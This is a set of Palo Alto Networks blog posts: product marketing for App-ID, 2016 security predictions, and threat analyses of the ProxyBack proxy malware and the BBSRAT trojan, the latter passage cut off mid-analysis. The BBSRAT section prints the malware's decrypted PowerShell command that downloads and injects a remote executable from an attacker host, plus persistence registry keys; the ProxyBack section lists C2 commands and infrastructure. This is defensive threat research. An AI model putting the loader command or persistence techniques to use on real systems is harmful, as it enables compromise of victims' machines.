The Power of App-ID

App-ID is a critical feature of our next-generation firewall. It’s one of the features, in fact, that lead to the market’s acceptance of next-generation firewalls and established Palo Alto Networks as a clear leader. This post will provide a few use cases to highlight App-ID’s purpose and power and why it’s foundational to our prevention-based approach to security.

Single Pass Parallel Processing is what allows Palo Alto Networks to maintain performance while using all of the firewall’s available features. User-ID integrates identities into the platform giving administrators the ability to create security policies with a source attribute of users and groups in addition to the typical IP address. User-ID also enables administrators to quickly identify who is doing what in an environment during an investigation. Many other features, including Content-ID and SSL Decryption, help make Palo Alto Networks the next-generation security platform that it is.

App-ID provides visibility into the applications being used in the environment regardless of the port. Once visibility is available, control can be achieved. App-ID uses all of the information provided by a stream of network traffic and uses a combination of IP addresses, ports, transaction characteristics, protocol decoders, heuristics, decryption, and more to identify the application.

Safe Application Enablement

Today’s widespread acceptance of SaaS applications is a challenge for IT because those applications are managed by a third party and the data is being stored in that third party’s data center.

One way to manage this type of SaaS while still providing users with the flexibility they want is to choose a cloud-based file collaboration solution that allows for identity directory integration. Microsoft OneDrive, Google Drive, and several other solutions offer identity integration.

Take Box.com as the example. When a user is added to the directory server they are also enabled with a Box.com account. When a user leaves an organization for whatever reason and directory accounts are disabled, so is the user’s access to all of those files in the Box.com cloud. Furthermore the IT administrator can change the password and gain access to the files.

The residual challenge is that even though the organization has standardized on Box.com there is nothing preventing users from uploading corporate data to other SaaS solutions.

This is one of many places where App-ID can help. A security policy can be implemented to allow access to Box.com with the source of all authenticated users. In the same policy we will then decrypt the SSL traffic. We can see whether people are uploading, downloading or both, as well as determine if known or unknown threats are being transmitted, and block them. This is all configured in a single policy.

People also use cloud-based file collaboration tools for personal data. We don’t want to stop them from listening to their music or sharing pictures of their family vacation – we want to safely enable them to do those things. As a second security policy we would permit all users to the application sub-category filesharing. However, we will decrypt the SSL traffic to gain visibility into what is happening in the sessions. If they are downloading non-malicious files, we are OK with that. If they download something malicious it will be blocked. And we can add a File Blocking profile that only permits downloads and not uploads.

The result? People can use the applications they have become accustomed to, and the organization prevents malware from getting into the network and data from going to unmanaged and undesirable destinations.

Operational Efficiency

Compared to the way traditional firewalls work, App-ID can drastically reduce the amount of security policies needed.

Most routers, switches, SANs and network security, among other network infrastructure technologies, have dedicated management interfaces. These products run a standard service like a web server but do so on various ports: 80, 8080, 8888, 7000, the list goes on.

With a legacy firewall a security policy will need to be implemented with both a source network of the LAN and the destination network of the management network. Each of the ports would then need to be configured as a custom object and added to the destination services to permit the traffic. This is a cumbersome and outdated way of doing things. And it could also lead to undesirable traffic.

Because App-ID doesn’t rely exclusively on ports, this rule could be consolidated to include just a single application — web browsing — rather than each of those ports individually. When permitting the application web browsing from the LAN into the management network you have the option to use the default port (80) or any port. By using any port the Palo Alto Networks appliance will determine if this really is regular web-browsing to a web server and if so permit the traffic. As in the previous example, you could also decrypt the SSL if it is enabled, prevent anything known to be malicious, and control uploads and downloads.

Preventing Malicious Activity

Users and malicious actors misuse or exploit regular TCP and UDP services to bypass security controls.

For example, regular users may want to get to a website that is prohibited by the security infrastructure. They will find or setup an HTTP proxy server of their own outside of the firewall. They configure their browser to point to their HTTP proxy server so that all requests will be sent over HTTP to their proxy server. The security infrastructure will simply see HTTP requests to some random destination on the Internet, the proxy server, and permit it. The proxy server then makes the connection to the desired website and then responds with that data to the user from the proxy server. The security infrastructure typically only sees HTTP requests.

A malicious user or malicious piece of software will eventually want to exfiltrate data. In many cases attackers will have an FTP server in the attacker network to which to dump data. If the FTP protocol is not permitted out of the compromised network, the attacker will find a service that is permitted, such as DNS, HTTP, or SSL. From there, attackers can easily change the port number on their FTP server to something that is allowed out of the compromised network and the data can be transferred.

Using App-ID prevents both of these issues. When the application web-browsing is permitted, App-ID can tell the difference between visiting a normal website and when HTTP is being used to wrap and proxy traffic to a different destination. There is an http-proxy application that could be used if there is a legitimate proxy server in the environment. Likewise, when an attacker attempts to use DNS (UDP/TCP port 53) to disguise FTP traffic, App-ID will identify this and the traffic will not be permitted unless it is actual DNS.

Application firewalling is a critical component of any network infrastructure today, but it’s just one piece of the puzzle. User-based security policies, visibility into encrypted traffic, prevention of known and unknown malicious behavior, and the ability to architect the same solution everywhere are also part what make Palo Alto Networks a true platform that can go well beyond the outmoded approaches provided by stateful inspection firewalls, endpoint products and UTM appliances.

Look out for future posts where we take a deeper dive and provide examples of how other components support the platform.

[Palo Alto Networks Blog]

2016 Prediction #14: Six Cybersecurity Predictions for Asia-Pacific

This is the fourteenth, and final, in our series of cybersecurity predictions for 2016. Stay tuned for more through the end of the year.

1. Ransomware

Ransomware will continue to evolve its methods of propagation and evasion techniques, hiding its communication and the targets it seeks. As reported by the Cyber Threat Alliance, ransomware has been very lucrative for cybercriminals to launch campaigns and, in a short period of time, derive large revenue streams. Today, the value of credit card data is low compared to ransomware, where higher value can be extracted from more victims.

Research by the Cyber Threat Alliance reported that CryptoWall v3 generated more than $325 million for the group behind it. This will drive further versions of ransomware-style attacks to be released, allowing more cybercriminals to extort users to pay the ransom to get the decryption key for their data. We predict seeing this crossing over to other platforms, such as Mac OS X and mobile operating systems.

2. Sharing of Threat Intelligence

Efforts have been around for years to share threat intelligence in some verticals, and we predict that 2016 will mark a year in which the private sector and security vendors look to share more of this than they ever have in Asia-Pacific. Today, many adversaries often write one piece of malware and send it to multiple organisations, with only minor changes made to make it undetectable. However, if we, as a community, can force cyber adversaries to create multiple unique attacks each time, it will force their costs to go up. And if we can share the information, the defender costs go down. The benefits grow exponentially if we automate this process whereby organisations do this in real time, whilst preventing the attacks. Knowing what kinds of actors are targeting you, the tools that they have available, and the tactics they employ allows organisations to defend their networks more effectively.

Although the debate continues on how effective these regulations will be, Asian governments should look to foster the sharing of threat intelligence, and organisations should think about how they can share in their vertical and go cross vertical in their efforts. We should ensure that there are responsible privacy protections in place for the purpose of identifying, preventing, mitigating and responding to cyberthreats, vulnerabilities, and malicious campaigns. The faster organisations can share this information, the better we can serve to protect each other and push the cost back to the attackers.

We expect this trend to continue, as more organisations begin to realise the benefits of sharing knowledge as a means to unify efforts to fight against cyber intrusions in Asia-Pacific.

3. Secondary Victim Attacks

More and more we are seeing that, when we know the motive of an attack, there is usually a secondary victim. The 2015 Verizon Data Breach Report highlighted that adversaries are using third-party websites to deliver their attacks. This often can mean that the person or organisation that experiences the initial breach isn’t the real target but rather a pawn in a bigger attack.

From the perspective of an attacker, this allows them to take advantage of trust and use the resources of another company for their gain. The most common method seen in Asia Pacific has been “watering hole attacks”, where an organisation’s website is infected with exploit code to try and infect visitors of their site. We predict that this will continue to rise with more reported incidents coming to light in 2016.

4. Trust in Our Security Models

Over the past few years, cyberattacks have escalated and gotten more aggressive and successful. Not only have we seen it become easier and cheaper to launch successful attacks, it has eroded our digital trust in online systems. That trust also extends itself to the failure of legacy security architectures due, not only to an outdated assumption that everything on the inside of an organisation’s network can be trusted, but also the inability of legacy countermeasures to provide adequate visibility, control and protection.  We expect to see more organisations adopting new security models, such as “Zero Trust,” which is intended to remedy the deficiencies with perimeter-centric strategies and the legacy devices and technologies used to implement them. It does this by promoting “never trust, always verify” as its guiding principle.

This differs substantially from conventional security models that operate on the basis of “trust but verify”. Essential security capabilities are deployed in a way that provides policy enforcement and protection for all users, devices, applications and the communications traffic between them, regardless of their location. We expect this will continue across Asia-Pacific in 2016. 

5. Attacking the Internet of Things

Whole new categories of digital device are getting connected to the Internet, from domestic appliances to home security, and the list goes on. Gartner predicts the number of connected things will rise from 6.5 billion in 2015 to almost 21 billion by 2020, growing by a staggering 5.5 million “things” each day.  This will continue to accelerate in 2016. Sadly, we see no reason why these things won’t become a target for cybercrime. During this year we have seen some evidence of this emerging trend, like attacks on cars, smart rifles and many more shown at Black Hat USA in August this year. We don’t expect to see millions of devices compromised in 2016 across Asia-Pacific, but we should be prepared to see more attacks and proofs of concepts trying to exploit these types of devices. 

6. Cybercrime Legislation

Asia-Pacific has often operated under very lax regulations when it comes to cybersecurity. It is a global issue; however, regulations to safeguard businesses and consumers are still evolving around the world. It’s unsurprising that the USA is taking the lead on this front, given the number of high-profile attacks reported to have targeted U.S. firms in recent years. This has resulted in cybersecurity becoming a focus for policy, most recently seeing the introduction of the Cybersecurity Information Sharing Act (CISA), which aims to help U.S. companies work with their government to combat hackers. Similarly, the European Union has laid out 14 actions to improve cybersecurity readiness, along with a policy on Critical Information Infrastructure Protection (CIIP), which aims to strengthen the security and resilience of vital ICT infrastructure by supporting high level preparedness, security and resilience capabilities at a national and EU level.

We expect that we will see a significant shift in the mindset of governments and regulators in Asia-Pacific to take on an even more active role in protecting the Internet and safeguarding its users. Cybercrime laws will be in discussion, and changes to outdated cybersecurity standards will be mandated to bolster an improved stance on security.

Want to explore more of our top 2016 cybersecurity predictions? Register now for Ignite 2016.

[Palo Alto Networks Blog]

ProxyBack Malware Turns User Systems Into Proxies Without Consent

Anonymous proxies play an important role in protecting one’s privacy while on the Internet; however, when unsuspecting individuals have their systems turned into proxies without their consent, it can create a dangerous situation. Palo Alto Networks researchers recently discovered a family of malware, designated ProxyBack, and observed over 20 versions that have been used to infect systems as far back as March 2014.

The primary distribution observed by Palo Alto Networks is focused heavily in Europe with most targets belonging to educational institutions.

Figure 1 – ProxyBack distribution shown in AutoFocus

In this report, we’ll dive into the behavior of a recent sample of ProxyBack, examine how it establishes the victim proxy, and analyze the traffic using this service.

ProxyBack Malware

To be an effective proxy, network traffic must be able to flow through the proxy unhindered. In a typical setup, this may be accomplished by allowing a proxy system to receive traffic over a network socket designated for this function and then forwarding the network traffic on as its own.

Figure 2 – Classic proxy setup

The problem for a non-legitimate proxy is that the network traffic destined to reach the proxy server, which is a compromised system, will usually not be able to reach it because of firewalls or other network based restrictions put in place to protect systems.

Figure 3 – Corporate firewalls prevent the victim from being accessed in a classic proxy setup

ProxyBack gets over this hurdle by building a reverse tunnel over TCP to an attacker controlled proxy server. In other words, it has the victim proxy make the initial call home, thus allowing the proxy server to send its traffic through the tunnel and out to the Internet, or to other devices internal to that network.

Figure 4 – Victim proxy establishes a connection with the attacker-controlled server

  1. Victim proxy pokes a hole in the firewall by establishing a TCP connection with the attacker controlled proxy server.
  2. The proxy server validates it has access to the victim proxy and that it can successfully route traffic through it to the Internet.
  3. The users of this proxy service are now able to route traffic through the attacker-controlled proxy and exit any of the victim proxies they’ve validated.
  4. The victim proxy is now unwillingly participating in the routing of web traffic to the Internet

ProxyBack Analysis

To establish this tunnel, ProxyBack will initially make a connection to a web server hosting a PHP file that simply contains a URL to another PHP file on the same server. This subsequent PHP file will be used by the malware to send commands to the initial web server and fetch information used to setup its proxy connection. Each GET Request Method observed since early 2014 contains a User-Agent string of “pb”, which makes it trivial to detect.

Figure 5 – User-Agent “pb”

The first variable passed, “getip”, to the “command” parameter retrieves the public IP address of the victim proxy.

Figure 6 – “command=getip”

The second variable passed, “getid”, retrieves the ID for the victim proxy, which will be used in subsequent commands to keep track of the victim proxy. From the initial assessment of this malware until today, the ID number has continued to sequentially increment. So far, it has increased by 11,149, which may be indicative of the number of victim proxies compromised.

Figure 7 – “command=getid”

The third variable passed, “ghl”, to the “command” parameter receives an encoded base64 string for a URL. This URL led to another PHP file, which contained a URL to another PHP file; however, the subsequent URLs were never live during analysis.

Figure 8 – “command=ghl”

The fourth variable passed, “dl”, receives an encoded base64 string, “fA==”, which signifies the delimiter to be used in the subsequent command.

Figure 9 – “command=dl”

The fifth variable, “version”, deserves some extra attention as it has changed during the course of this analysis. Initially, the URI included the ID of the victim proxy and the variable “version” passed to the “command” parameter; now, the URI includes the version of the running malware, the victim proxy ID, and the running operating system.

Figure 10 – Old “command=version”

Figure 11 – New “command=version” with current version and OS

Additionally, the ProxyBack malware is capable of reporting the following operating system versions, which suggests it can run each of them.

Figure 12 – Operating Systems

The content returned from the fifth command remains similar between versions. The “version” variable receives an encoded base64 string that includes the version number of the malware and a URL to the malware version, delimited by the previously retrieved character. Another change noted is that versions were previously in the following format, “17.exe”, “20.exe”, and “41.exe”; whereas in November 2015 they started to include the first three letters of the web server domain in which they are hosted, such as “sof1.8.exe” on “softwearfounds[.]com” and “sky2.1.exe” on “skyjfasters[.]com”.

Figure 13 – Old “command=version” response

Figure 14 – New “command=version” response

Figure 15 – New “command=version” response

At this point, if the version running deviates from the version returned, it will use the GET Request Method and download the version provided in the output of the “version” variable. After that, the process restarts from the beginning but will keep the same ID value that was previously assigned.

Figure 16 – Downloading the new version

The next variable passed, “getbackconnect”, to the “command” parameter is used to get the IP address and port of the remote system with which the victim proxy should establish the reverse tunnel.

Figure 17 – “command=getbackconnect”

Once the ProxyBack malware has this information, it begins the process of building the TCP session to be used over the course of this session. For this particular sample, the destination port provided was “495”. After the TCP handshake completes, a series of packets with PSHACK flags are transmitted back and forth containing data appended to them that control the flow of this process.

The first packet in this series is sent from the victim proxy to the malicious proxy server and includes a sequence number, followed by a null byte, followed by two bytes that serve as delimiters for the rest of the data.

Figure 18 – Sequence 1, Initial PSHACK packet

The proxy server replies with the next packet in the sequence that tells the malware what IP and port to pass as variables in the next GET Method Request to the original server. The last two bytes tell the malware which new socket to open a TCP connection to for transferring the data that is being sent through the TCP tunnel.

Figure 19 – Sequence 2, 0x2EA5DED4 = 46.165.222.212, 0x13FC = 5116, 0x13FC = 5114

ProxyBack now passes the variable “update2” to the “command” parameter with the additional data received from the PSHACK. The web server simply replies with an “Ok”.

Figure 20 – “command=update2”

The next PSHACK in the series is sent to the victim proxy and tells the malware to create a TCP session over the additional port provided in the second sequence of the PSHACK packets.

Figure 21 – Sequence 3, Stop and switch

Figure 22 – Switching ports

The victim proxy sends the 4th PSHACK packet to let the proxy server know it’s ready to continue on the new port.

Figure 23 – Sequence 4, Continuation

Similar to the first packet in this PSHACK series, the proxy server initializes the session with a delimiter to be used in subsequent commands.

Figure 24 – Sequence 5, New delimiter

Also of note is the value 0x02 after the sequence number. This seems to indicate additional commands for this phase are to follow, or possibly the number of packets to expect. The victim proxy responds with the value 0x0500 and then the proxy server sends the final packet in this sequence, which contains an IP address and a destination port, which the ProxyBack malware will open a TCP session with.

Figure 25 – Sequence 5, 0xBC741763 = 188.116.23.99, 0x0050 = 80

Figure 26 – Completing the three-way handshake

After the handshake is complete, the victim proxy notifies the proxy server of the source IP and source port used in the three-way handshake as the last PSHACK packet in sequence 5.

As the last validation step, the proxy server issues a GET Request Method through the tunnel established over TCP/5114 and the victim proxy forwards it on.

Figure 27 – Validating the victim proxy

The return data from 188.116.23.99 is sent back to 46.165.222.212 over TCP/5114 as data in a PSHACK packet, which completes the validation phase. It’s interesting to note that the proxy server IP and “secret” key are included in the URI. The returned data is a serialized PHP formatted configuration file with information about the web server hosting it. The “secret_string” variable observed in the URI and the configuration file has not changed since the first samples were seen in March of 2014.

Figure 28 – Returned configuration

Traffic will begin to flow through the victim proxy once it has been validated

Figure 29 – Traffic going through victim proxy

Every 27 minutes, the ProxyBack malware on the victim machine will send the “update” variable to the “command” parameter on the original web server hosting the PHP file to see if it needs to change malicious proxies or update it’s software.

Figure 30 – Software update

To wrap up this section, below are the available commands found in the old and new versions of the ProxyBack malware. Throughout the period this malware was observed, neither “log” nor “update” variables were ever passed to the “command” parameter.

Figure 31 – Available commands

Conclusion

When a system infected with ProxyBack was actively operating, there was an sizeable volume of traffic being routed through. It was clear that there were legitimate, benign, users of the SOCKS proxy, along with malicious users as well, further adding weight to the conclusion that this is a proxy service. Users of these services should be aware that their traffic is neither anonymous nor safe from tampering.

Upon review of the web traffic routed through our victim proxy, the majority of that traffic appeared to source from an automated system creating fake accounts and soliciting people across dating sites like “farmersonly.com”, “match.com”, “meetme.com”, and “okcupid.com”. The legitimate traffic included sites like eBay, Twitter, Craigslist, Facebook, Wikipedia, and more.

Another website that stood out during this review was “buyproxy.ru”, which was the only site that seemed to match a proxy service found within our captures. Looking deeper into this traffic, we see a GET Request Method to http://buyproxy.ru/proxy/ at less than 4 hours into our capture, which lists our victim proxy.

Figure 32 – Web source that contains victim proxy

What’s interesting to note here is that our victim proxy’s reverse PTR record is shown in the sixth column, whereas in the second column, our malicious proxy server is listed for users to presumably connect to. In an odd twist of fate, the same users of the service also betray it.

Figure 33 – Proxy connection with “185.72.244.171”

When visiting the buyproxy[.]ru site, it states in their FAQ that they have been in business for over seven years, they provide only private proxy servers that are not in public proxy bases, they average between 700-3,000 proxies per day, proxies usually live between 4 to 24 hours, nothing is logged, and they use a “BackEnd proxy” which shares an IP for access but distributes the exit. In addition, on their main page they tout that the connections are encrypted and use a “proprietary technology of traffic tunneling”.

When accessing the site with a registered account, you are presented with three proxy options:

  1. “Private proxy” – Supposedly maintained by “buyproxy[.]ru”.
  2. “Public proxy list” – Public proxies.
  3. “Personal proxies” – Proxies dedicated to the buyer.

Figure 34 – “buyproxy[.]ru” main menu

On the “Private proxy” page we find our victim proxy under the United States, among others. One thing that immediately stands out is yellow highlighted entries, which follow the same characteristics as our victim proxy. The IP address differs from the listed domain, possibly implying they are also victim proxies.

Figure 35 – Victim proxies

Whether the people behind “buyproxy[.]ru” are responsible for the distribution of the ProxyBack malware or not is unknown; however, it is clear that the ProxyBack malware is designed for, and used in, their service.

Palo Alto Networks has released the IPS signature 14864 to detect and block ProxyBack traffic. WildFire properly classifies ProxyBack executables as malicious and AutoFocus users can track this threat using the ProxyBack tag.

Observed Indicators

Proxy Server IPs

5.9.212.53
5.79.85.212
46.38.51.49
46.165.193.67
46.165.222.212
46.165.223.193
62.75.255.52
69.64.32.110
85.17.30.89
91.121.193.50
91.185.215.137
93.189.40.164
93.189.42.9
93.189.42.43
104.238.173.238
108.59.9.15
185.72.244.171
185.72.246.23
194.247.12.11
194.247.12.49
213.229.102.157
217.172.179.88

User-Agents

pb

Mutexes

PB_MAIN_MUTEX_GL_63785462387
PB_SCH_MUTEX_GL_A58B78398f17
PB_SN_MUTEX_GL_F348B3A2387

Hosting Web Servers

bugertwist[.]com/vb.php
bugertwist[.]com/memb.php
creativanalyticks[.]com/va.php
creativanalyticks[.]com/spool.php
czonainsit4e[.]com/ocfg.php
depasistat[.]com/home.php
drythisworld[.]com/main.php
hclickmeterg[.]com/solomon.php
heljeanvos[.]com/q.php
heljeanvos.com/eome.php
iholpforyou4[.]com/d_index.php
lancer-moto[.]com/cfg.php
markovqwesta[.]com/que.php
masyaget[.]com/dse.php
masyaget.com/wed.php
mintoolses[.]com/mint.com
nsit4esite[.]com/faq.php
nsit4esite[.]com/mod_rw.php
papausafr[.]com/psin.php
pllsest2[.]com/pils.php
qforumjail[.]com/faq.php
robjertovines[.]com/sta.php
singlearthousse[.]com/ocfg.php
skyjfasters[.]com/do.php
solocoufandle[.]com/md.php
sweedfolz[.]com/list.php
texasgodchang[.]com/teh.php
truedonell[.]com/fa.php
uarushelp[.]com/fix.php
xclotusm[.]com/go.php

littlepartygodd[.]com (not yet used)
solognomwedgt[.]com (not yet used)

HTTP Commands

php?command=getid
php?command=getip
php?command=update&id=
php?command=update2&id=
php?command=version&id=
php?command=getbackconnect
php?command=ghl&id=
php?command=dl&id=
php?command=log&id=

HTTP String

BER5w4evtjszw4MBRW

Sample Hashes

938eb65b201ffe2b95b8004d51eea4343ac1c2e5307acf0aabb0e310f33949ce | sof1.8.exe
ea86ea5ecc8a63db91bd528a78db5e71734be9693dcda860044fbe522a6e1b4b | sof1.7.exe
87bc6ae4d46c460c58ac4131ad15e0c8f217e2152efb2c23b23a4d51852abdb9 | sof1.6.exe
452511487941bcc6fbc5b3e76859740837df20e86121db9fb5be3f1456a3e653 | sof1.4.exe
96b9a8024f5796a610402ac857d318d00951b661c2bc96b91878b3c970c7de14 | 11.exe
f79059de5345197935581365bc11a25afe8ad77eac82b128068543c2f15ec8fb | 12.exe
b74b0d1e68c201047eeb2dfeaf6b7ffc6ff29cccff8e6acbf25f560fff66f36b | 13.exe
544269fa321651535bf30e8b07e7a19eb2407e3cc16c121333fa2d9e5ee5d4b2 | 14.exe
6ab78fc4263af8e7f76cc66e4d0f610a1990237bd48550c84f7c5b03e79ac5e0 | 15.exe
897fa587053e6997288b94ebf3a56f0f5c63053643faf0df48882b69a5788319 | 16.exe
db7952c408a62d7bb5747f917db554aa5aff19faa76b80d8ab0c47cb461fe53d | 17.exe
a74b19b76c0a76d95e48c2c4d230afa7ac490b2aca3f581d6505f227897df7c2 | 20.exe
0cccb9d2e2aeef636d32f487bcfb588b6769428554949db1cd30f9f6a01daa43 | 21.exe
d1bc4e42d818ff751c97e0c5667d03097a7e99f8a98d48bac9ac7394f771346a | 25.exe
7fcd05b00d6e37ef765ec10fb23ce9c78114b09b5a99eab957fb65a05df565a7 | 26.exe
5c0d8009ca816fc1e5d6c9f9366a678cb947d9ac1e87da76f19103703ce6bb7c | 40.exe
f5848d197f5fb48fca2b48c54f6a26ff6a84e3576d16dccdece135edd8b7a9e9 | 41.exe
f310c8e3baebbdee8e80a974608451e6c0292c12fc1e3068ed445fe74c42d882 | 55.exe
f1485e53403de8c654783ce3e0adf754639542e41c2a89b92843ce8ecdeb4646 | 90.exe
c550a0730c9cf10751a3236ef57fafb5af844bef3874855a215519a9ffcec348 | 91.exe
1b583827e4d010bf7ac0e72fca5158bb03cb84c6db93de198d0ba56b990d1a9f | 1122.exe

[Palo Alto Networks Blog]

2016 Predictions #13: Security with Agility for Firewalls and Applications

This is the thirteenth in our series of cybersecurity predictions for 2016. Stay tuned for more through the end of the year.

Addressing the evolving threat landscape is a key factor in security, but organizations also want security that can keep up with the new, distributed and dynamic environments that they are building and adopting. In other words, they want to have their cake and eat it too.

In order to accommodate this shift, security will have to go where the applications, users and data are. And that’s not easy because all three are going everywhere. This new, distributed foundation is the basis for more agile and efficient IT – but it all needs to be secured to deliver benefits at an acceptable level of risk.

In 2016, this need will manifest itself in three key ways:

Develop Full Situational Awareness

Security systems that operate on IT-level context (e.g., applications and users) will become all the more relevant, as “divining” high-level activities based on low-level context (e.g., ports, protocols) is a losing proposition. In other words, higher-level information will drive better security posture.

Programmable, Adaptable Security

Security is rarely an end in itself. When we’ve come to think of it that way, it’s because it was applied to overall environments that were static in nature. Now, with on-demand, elastic environments in vogue, securing capability also has to be dynamic.

Looking Within – the Need for Segmentation

Micro-segmentation has made the topic of segmentation “cool again,” but it’s really broader than just a virtualized data center use case. And it’s not segmentation in the sense of barriers or pure isolation. Elements (e.g., computers) between segments need to interact, but it’s more like a membrane where you get to determine what gets through (in a language that you can understand) and, beyond that, how the interaction is inspected for threats.

Securing a static environment from cyberthreats may be easier to achieve, but customers want more. That’s why, even in the face of ever-increasing threats, security platforms must also account for the new, dynamic and distributed models of IT that organizations are deploying.

Want to explore more of our top 2016 cybersecurity predictions? Register now for Ignite 2016.

 

[Palo Alto Networks Blog]

BBSRAT Attacks Targeting Russian Organizations Linked to Roaming Tiger

In late 2014, ESET presented an attack campaign that had been observed over a period of time targeting Russia and other Russian speaking nations, dubbed “Roaming Tiger”. The attack was found to heavily rely on RTF exploits and at the time, thought to make use of the PlugX malware family.

ESET did not attribute the attacks to a particular attack group, but noted that the objective of the campaign was espionage and general information stealing. Based on data collected from Palo Alto Networks AutoFocus threat intelligence, we discovered continued operations of activity very similar to the Roaming Tiger attack campaign that began in the August 2015 timeframe, with a concentration of attacks in late October and continuing into December.

The adversaries behind these attacks continued to target Russia and other Russian speaking nations using similar exploits and attack vectors. However, while the malware used in these new attacks uses similar infection mechanisms to PlugX, it is a completely new tool with its own specific behavior patterns and architecture. We have named this tool “BBSRAT.”

Targeting and Infrastructure

As described in earlier reports on “Roaming Tiger”, the attack observed in August 2015 used weaponized exploit documents that leave Russian language decoy document files after infecting the system. The files exploit the well-known Microsoft Office vulnerability, CVE-2012-0158, to execute malicious code in order to take control of the targeted systems.

Figure 1 Spear-phishing email delivering BBSRAT

In one case, the adversary impersonated an individual from the organization Vigstar, a Russian-based research organization in charge of the development of satellite communications and special purpose wireless devices for the Russian Federation’s defense and security agencies. The targeted email address appeared to be a Gmail account associated with Vigstar as well, and was found on a job board website for a job opening at Vigstar.

The rough translation of the body of the email is as follows:

I send you a “list of international exhibitions of military, civil and dual-purpose, conducted in 2015 on the territory of the Russian Federation and foreign states.” Waiting for your reply!

Figure 2 confirms that the decoy document that opens after the malware infects the system is indeed a list of international exhibitions that were conducted on Russian territory in 2015.

Figure 2 Decoy document that is opened after the malicious document has infected the system

In more recent months, we have identified several other potential Russian victims using AutoFocus. Analysis of the command and control (C2) infrastructure shows that the newly discovered samples of BBSRAT used the same C2 domains as previously published in the “Roaming Tiger” campaign, including transactiona[.]com and futuresgold[.]com. Interestingly, all of the previously published C2 domains have significant overlap amongst the hashes and IPs while C2s for BBSRAT contain no overlap at all. This may indicate that for the newer attack campaign using BBSRAT, the adversary may have deployed purpose-built variants and/or infrastructure for each of the intended targets.

Figure 3 Command and control infrastructure

BBSRAT Malware Analysis

Deployment Technique #1

BBSRAT is typically packaged within a portable executable file, although in a few of the observed instances, a raw DLL was discovered to contain BBSRAT. When the dropper first runs, it will generate a path in the %TEMP% directory. The generated filename is 10-16 uppercase alphabetic characters, and ends with a ‘.TMP’ file extension. The dropper will continue to write an embedded cab file in this location.

Figure 4 Header of CAB file dropped by BBSRAT

The malware will proceed to create one of the following directories depending on what version of Microsoft Windows is running on the target machine:

  • %ALLUSERSPROFILE%\SSONSVR
  • %ALLUSERSPROFILE%\Application Data\SSONSVR

Using the built-in expand.exe utility provided by Microsoft Windows, the dropper executes the following command, which will expand the CAB file and write the results to the provided directory:

expand.exe “%TEMP%\[temp_file]” Destination “[chosen_path]\SSONSVR”

This results in the following three files being written to the SSONSVR directory:

  • aclmain.sdb
  • pnipcn.dll
  • ssonsvr.exe

The ‘ssonsvr.exe’ file is a legitimate Citrix executable that will be used to sideload the malicious ‘pnipcn.dll’ file. The ‘aclmain.sdb’ file contains code that will eventually be loaded by the ‘pnipcn.dll’ file.

The malware finally executes ‘ssonsvr.exe’ via a call to ShellExecuteW.

Figure 5 Execution flow of dropper expanding CAB file

When ‘ssonsvr.exe’ is executed, and the pnipcn.dll file is loaded, it will begin by identifying the path to msiexec.exe, by expanding the following environment string:

%SystemRoot%\System32\msiexec.exe

It will then spawn a suspended instance of msiexec.exe in a new process. The malware proceeds to load code from the ‘aclmain.sdb’ file and performs process hollowing against this instance of msiexec.exe prior to resuming the process.

Figure 6 Sideloading execution flow

In order to ensure persistence, the following registry key is written on the victim’s machine:

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ssonsvr.exe : [path_to_ssonsvr.exe]

Deployment Technique #2

In the most recently observed sample of BBSRAT found in AutoFocus, the Trojan was deployed via a downloader that used the Invoke-ReflectivePEInjection.ps1 script from the PowerSploit framework.

When the downloader executes, it will first decrypt the following two strings using a 5-byte XOR key of “\x01\x02\x03\x04\x05”:

“powershell -exec bypass -c IEX (New-Object Net.WebClient).DownloadString(‘http://testzake[.]com/IR.ps1′);Invoke-ReflectivePEInjection -PEUrl http://testzake[.]com/s.exe”

“C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell -exec bypass -c IEX (New-Object Net.WebClient).DownloadString(‘http://testzake[.]com/IR.ps1′);Invoke-ReflectivePEInjection -PEUrl http://testzake[.]com/s.exe”

These strings are then sequentially executed via calls to WinExec. As we can see, the second command is specifically crafted to run on 64-bit versions of Microsoft Windows. The commands in question will download an executable file and run it within the context of the powershell process.

When the above commands are executed, the downloader will initially download the ‘IR.ps1’ powershell script from the specified URL:

Figure 7 Downloader downloading the Invoke-ReflectivePEInjection PowerSploit script

This Powershell script appears to have been pulled directly from the PowerSploit framework, with no modifications made. The malware then invokes this script with a URL that points to an additional executable file. This downloaded executable contains a copy of the BBSRAT malware family.

The downloader proceeds to drop either a 32-bit or 64-bit DLL file that will execute the two previously stated Powershell commands when the DLL is loaded. This DLL is dropped to one of the following locations:

%SYSTEMROOT%\web\srvcl32.dll

%APPDATA%\web\srvcl32.dll

Additionally, the following registry keys are set depending on the system’s CPU architecture:

HKU\Software\Classes\CLSID\{42aedc87-2188-41fd-b9a3-0c966feabec1}\InprocServer32\ThreadingModel – “Both”
HKU\Software\Classes\CLSID\{42aedc87-2188-41fd-b9a3-0c966feabec1}\InprocServer32\Default – [path_to_srvcl32.dll]

HKLM\SOFTWARE\Classes\CLSID\{F3130CDB-AA52-4C3A-AB32-85FFC23AF9C1}\InprocServer32\ThreadingModel – “Both”
HKLM\SOFTWARE\Classes\CLSID\{F3130CDB-AA52-4C3A-AB32-85FFC23AF9C1}\InprocServer32\Default – [path_to_srvcl32.dll]

The COM object for {42aedc87-2188-41fd-b9a3-0c966feabec1} is specific to ‘MruPidlList’, while the COM object for {F3130CDB-AA52-4C3A-AB32-85FFC23AF9C1} is specific to ‘Microsoft WBEM New Event Subsystem’. This ensures that the DLL specified will load when Microsoft Windows starts. It is a technique that was used by the ZeroAccess rootkit when it initially surfaced.

BBSRAT Execution

After being loaded using one of the two techniques discussed, BBSRAT malware begins execution by loading the following libraries at runtime:

  • ntdll.dll
  • kernel32.dll
  • user32.dll
  • advapi32.dll
  • gdi32.dll
  • ws2_32.dll
  • shell32.dll
  • psapi.dll
  • Secur32.dll
  • WtsApi32.dll
  • Netapi32.dll
  • Version.dll
  • Crypt32.dll
  • Wininet.dll

The following mutex is then created to ensure a single instance of BBSRAT is running at a given time:

Global\GlobalAcProtectMutex

Throughout the execution of BBSRAT, it will dynamically load functions prior to calling them, as seen in the example below demonstrating BBSRAT making a call to the WSAStartup function:

Figure 8 BBSRAT calling WSAStartup function

The malware proceeds to parse the stored embedded network configuration and spawns a series of threads responsible for network communication. This includes a series of HTTP or HTTPS requests, such as the following:

GET /bbs/1/forum.php?sid=1 HTTP/1.1
Cookie: A46A8AA9-D7D6-43FB-959DC96E
Content-Length:
User-Agent: Mozilla/4.0 (compatible; Windows NT 5.1)
